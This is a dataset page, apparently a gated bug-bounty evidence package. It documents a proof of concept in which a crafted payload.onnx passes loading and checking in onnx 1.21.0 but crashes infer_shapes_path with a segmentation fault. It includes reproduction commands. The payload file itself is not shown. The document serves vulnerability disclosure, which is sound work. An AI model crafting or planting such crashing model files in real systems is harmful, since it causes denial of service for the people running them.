You need to agree to share your contact information to access this dataset

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this dataset content.

ONNX shape inference custom function recursion PoC

Private evidence package for authorized huntr / ONNX MFF research.

Target

  • Package: onnx==1.21.0
  • API: onnx.shape_inference.infer_shapes_path
  • Payload: payload.onnx
  • Result: process termination by SIGSEGV / shell return code 139

Reproduce

python3 -m venv /tmp/onnx-poc-venv
/tmp/onnx-poc-venv/bin/python -m pip install onnx==1.21.0
/tmp/onnx-poc-venv/bin/python -c 'import onnx; m = onnx.load("payload.onnx"); onnx.checker.check_model(m); print("check ok")'
/tmp/onnx-poc-venv/bin/python -c 'import onnx; m = onnx.load("payload.onnx"); onnx.shape_inference.infer_shapes_path("payload.onnx")'

Expected: onnx.load() and onnx.checker.check_model() succeed; shape inference terminates with return code 139.

Downloads last month
5